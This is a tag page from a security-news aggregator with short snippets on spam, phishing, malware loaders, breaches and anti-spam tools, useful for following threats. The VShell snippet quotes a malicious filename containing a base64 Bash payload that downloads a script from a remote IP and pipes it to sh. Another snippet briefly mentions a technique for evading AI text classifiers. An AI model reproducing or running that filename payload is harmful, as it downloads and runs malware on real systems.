Tag: spam
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Anti-spam bug blocks links in Exchange Online, Teams
Microsoft is working to resolve a known issue that causes an anti-spam service to mistakenly block Exchange Online and Microsoft Teams users from opening URLs and quarantine some of their emails. First seen on bleepingcomputer.com Jump to article: www.bleepingcomputer.com/news/microsoft/microsoft-anti-spam-bug-blocks-links-in-exchange-online-teams/
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Anti-spam bug blocks links in Exchange Online, Teams
Microsoft is working to resolve a known issue that causes an anti-spam service to mistakenly block Exchange Online and Microsoft Teams users from opening URLs and quarantine some of their emails. First seen on bleepingcomputer.com Jump to article: www.bleepingcomputer.com/news/microsoft/microsoft-anti-spam-bug-blocks-links-in-exchange-online-teams/
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SpamGPT: New AI Email Attack Tool Fueling Massive Phishing Operations
A novel AI-driven email attack toolkit namedSpamGPThas surfaced on underground hacking forums, promising cybercriminals an all-in-one platform for launching large-scale phishing campaigns. Advertised as an “AI-powered spam-as-a-service” solution, SpamGPT automates compromise of email servers, bypasses major spam filters, and offers marketing-style campaign analytics. Security researchers warn that its user-friendly interface and AI-assisted content generation significantly…
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SpamGPT: New AI Email Attack Tool Fueling Massive Phishing Operations
A novel AI-driven email attack toolkit namedSpamGPThas surfaced on underground hacking forums, promising cybercriminals an all-in-one platform for launching large-scale phishing campaigns. Advertised as an “AI-powered spam-as-a-service” solution, SpamGPT automates compromise of email servers, bypasses major spam filters, and offers marketing-style campaign analytics. Security researchers warn that its user-friendly interface and AI-assisted content generation significantly…
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SpamGPT: New AI Email Attack Tool Fueling Massive Phishing Operations
A novel AI-driven email attack toolkit namedSpamGPThas surfaced on underground hacking forums, promising cybercriminals an all-in-one platform for launching large-scale phishing campaigns. Advertised as an “AI-powered spam-as-a-service” solution, SpamGPT automates compromise of email servers, bypasses major spam filters, and offers marketing-style campaign analytics. Security researchers warn that its user-friendly interface and AI-assisted content generation significantly…
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DSGVO-Vorfall bei Hutchison Drei Austria GmbH
Der österreichische Telekommunikationsanbieter Hutchison Drei Austria GmbH hatte wohl einen Datenschutzvorfall. Es waren, auf Grund einer Fehlkonfiguration, persönliche Kundendaten einsehbar. Die Betroffenen werden aktuell wohl per Brief über den Vorfall informiert und vor SPAM-Anrufen gewarnt. Die Hutchison Drei Austria GmbH … First seen on borncity.com Jump to article: www.borncity.com/blog/2025/09/04/dsgvo-vorfall-bei-hutchison-drei-austria-gmbh/
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Merkwürdige Spam-Mail; Accenture gehackt?
Ein Blog-Leser hat mich vor einigen Tage darauf hingewiesen, dass er eine merkwürdige Spam-Mail bekam, die von einer Accenture-Domain verschickt wurde. Inzwischen ist die Domain nicht mehr erreichbar was die Frage nach dem Hintergrund aufwirft. Beobachtung eines Blog-Lesers Ich … First seen on borncity.com Jump to article: www.borncity.com/blog/2025/08/31/accenture-gehackt-merkwuerdige-phishing-mail/
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TDL001 – Cybersecurity Explained: Privacy, Threats, and the Future – Chester Wisniewski
Tags: access, ai, attack, backdoor, breach, business, ciso, computer, country, crime, crimes, cyber, cybercrime, cybersecurity, data-breach, defense, detection, edr, email, finance, firewall, gartner, government, guide, hacker, hacking, Hardware, infosec, Internet, jobs, linkedin, mail, malicious, microsoft, military, monitoring, network, password, phishing, phone, privacy, programming, ransomware, risk, russia, scam, skills, software, sophos, spam, sql, strategy, switch, technology, threat, update, virus, vulnerability, wifi, windowsSummary “The Defenders Log” Episode 1 features host David Redekop and guest Chet Wisniewski discussing the dynamic world of cybersecurity. Wisniewski, with decades of experience, traces his journey from early BBS and phone network exploration to becoming a cybersecurity expert. They delve into the evolution of hacking, the emergence of profitable cybercrime like email spam,…
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Linux Malware Delivered via Malicious RAR Filenames Evades Antivirus Detection
Cybersecurity researchers have shed light on a novel attack chain that employs phishing emails to deliver an open-source backdoor called VShell.The “Linux-specific malware infection chain that starts with a spam email with a malicious RAR archive file,” Trellix researcher Sagar Bade said in a technical write-up.”The payload isn’t hidden inside the file content or a…
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Microsoft to Restrict Use of OnMicrosoft Domains for Email Sending
Microsoft has announced significant restrictions on the use of default onmicrosoft.com domains for email communication, implementing new throttling measures to combat spam and improve email deliverability across its Microsoft 365 platform. Policy Changes Target Spam Prevention The technology giant will introduce throttling limits that restrict messages sent from onmicrosoft.com domains to just 100 external recipients…
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Stealth Threat Unpacked: Weaponized RAR Files Deliver VShell Backdoor on Linux Systems
Trellix Advanced Research Center has exposed an infection chain that weaponises nothing more than a filename to compromise Linux hosts. A spam message masquerading as a beauty-product survey offers a small reward and carries a RAR archive, yy.rar. When unpacked, the archive drops a single file whose name is a miniature Bash program: ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash The…
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Hackers Using New QuirkyLoader Malware to Spread Agent Tesla, AsyncRAT and Snake Keylogger
Cybersecurity researchers have disclosed details of a new malware loader called QuirkyLoader that’s being used to deliver via email spam campaigns an array of next-stage payloads ranging from information stealers to remote access trojans since November 2024.Some of the notable malware families distributed using QuirkyLoader include Agent Tesla, AsyncRAT, Formbook, Masslogger, Remcos RAT, First seen…
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QuirkyLoader: A New Malware Loader Spreading Infostealers and Remote Access Trojans (RATs)
IBM X-Force has tracked QuirkyLoader, a sophisticated loader malware deployed by threat actors to distribute prominent families such as Agent Tesla, AsyncRAT, FormBook, MassLogger, Remcos, Rhadamanthys, and Snake Keylogger. This multi-stage threat initiates through spam emails from legitimate providers or self-hosted servers, attaching malicious archives containing a legitimate executable, an encrypted payload masquerading as a…
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Random Smishing Text Scams: Why “Do I Know You?” Texts Are Dangerous
In this episode, we discuss a rising scam involving random smishing text messages. Learn how these messages work, why they’re effective, and what you can do to protect yourself. Discover the dangers of replying to vague text messages from unknown numbers and get practical tips on how to block and report spam texts. Stay safe……
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KnowBe4 erweitert HRM+ um agentische KI-Fähigkeiten
Neu im Portfolio ist außerdem PhishML Insights eine Erweiterung von PhishER+. Diese KI-Funktion hilft Sicherheitsteams, neue Angriffsmuster präziser zu erkennen. Sie können eigene Schwellenwerte für die Klassifizierung von E-Mails festlegen und erhalten nachvollziehbare Erklärungen, warum eine Nachricht als harmlos, Spam oder Bedrohung eingestuft wurde. First seen on infopoint-security.de Jump to article: www.infopoint-security.de/knowbe4-erweitert-hrm-um-agentische-ki-faehigkeiten/a41648/
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Fake VPN and Spam Blocker Apps Tied to VexTrio Used in Ad Fraud, Subscription Scams
The malicious ad tech purveyor known as VexTrio Viper has been observed developing several malicious apps that have been published on Apple and Google’s official app storefronts under the guise of seemingly useful applications.These apps masquerade as VPNs, device “monitoring” apps, RAM cleaners, dating services, and spam blockers, DNS threat intelligence firm Infoblox said in…
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Pi-hole Plugin Flaw Exposes Donor Names and Email Addresses in Data Breach
A Pi-hole donor has reported receiving spam email to an address created exclusively for their donation to the popular network-level ad blocker, raising concerns about a potential data breach affecting the project’s donor database. The incident, reported on Reddit’s Pi-hole community forum under investigation status, suggests that donor email addresses may have been compromised or…
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Attackers wrap phishing links through URL scanning services to bypass detection
urldefense.proofpoint.com and url.emailprotection.link (Intermedia).”Link wrapping is designed by vendors like Proofpoint to protect users by routing all clicked URLs through a scanning service, allowing them to block known malicious destinations at the moment of click,” Cloudflare researchers wrote in their report on the attacks. “While this is effective against known threats, attacks can still succeed…
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E-Mails: Wie ein einziger Klick geschäftliche Risiken in die Höhe treiben kann
E-Mail ist der Standard in der Geschäftskommunikation, gleichzeitig aber einer der am wenigsten kontrollierten Kommunikationskanäle. 92 Prozent aller E-Mails lassen sich laut Bedrohungsanalysen als Spam klassifizieren, 67 Prozent davon enthalten schädliche Inhalte, Malware, Scam-Versuche, gezielte Täuschung. Doch nicht jede Bedrohung kommt von außen. Ein Großteil sicherheitsrelevanter Vorfälle beginnt intern: ein Empfänger zu viel, ein falscher……
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Clive Palmer’s Trumpet of Patriots and United Australia parties hit with data breach
Data potentially compromised by the June ransomware attack includes banking records, contact details and employment historyThe political parties run by Australian mining magnate Clive Palmer have been hit with a ransomware attack, with banking records, employment history and other personal information potentially compromised.The Trumpet of Patriots, which ran <a href=”https://www.theguardian.com/australia-news/2025/may/04/clive-palmers-trumpet-of-patriots-fails-to-pick-up-single-lower-house-seat-despite-text-spam-and-ad-blitz”>but did not secure any seats…
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Microsoft Enhances Defender for Office 365 with Detailed Spam and Phishing Analysis
Microsoft has announced a significant upgrade to its Defender for Office 365 platform, introducing a new AI-powered capability designed to provide unprecedented clarity into why emails are classified as spam, phishing, or clean. This enhancement, powered by large language models (LLMs), aims to bolster email security for organizations worldwide by offering clear, human-readable explanations for…
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Spamhaus’ take on Cold Emailing”¦AKA spam
Cold emailing, as it’s practiced today, is spam, for inboxes, businesses, and the internet. It’s a thriving industry, but one raising concerns in the email community. In this article we define cold emailing from our perspective, share concerns about its misuse, particularly in B2B communication, and highlight the organizations enabling it. First seen on securityboulevard.com…
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Hackers Use VBScript Files to Deploy Masslogger Credential Stealer Malware
Seqrite Labs has uncovered a sophisticated variant of the Masslogger credential stealer malware being distributed through VBScript Encoded (.VBE) files. This advanced threat, which likely spreads via spam emails or drive-by downloads, operates as a multi-stage fileless malware, heavily exploiting the Windows Registry to store and execute its malicious payload without writing files to disk.…
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Cyberfalle Spam-Mails: Manche „Unsubscribe”-Buttons sind gefährlicher als der Spam selbst
First seen on t3n.de Jump to article: t3n.de/news/cyberfalle-spam-mails-unsubscribe-buttons-gefaehrlicher-als-spam-selbst-1691885/
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TokenBreak Exploit Tricks AI Models Using Minimal Input Changes
HiddenLayer’s security research team has uncovered TokenBreak, a novel attack technique that bypasses AI text classification models by exploiting tokenization strategies. This vulnerability affects models designed to detect malicious inputs like prompt injection, spam, and toxic content, leaving protected systems exposed to attacks they were meant to prevent. Technical Breakdown of TokenBreak According to the…
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New phishing campaign hijacks clipboard via fake CAPTCHA for malware delivery
Fail-proof exploit of ‘verification fatigue’: SlashNext highlighted that the campaign’s success stems largely from its exploitation of human psychology.”Modern internet users are inundated with spam checks, CAPTCHAs, and security prompts on websites, and they’ve been conditioned to click through these as quickly as possible,” Kelley added. “Attackers exploit this ‘verification fatigue,’ knowing that many users…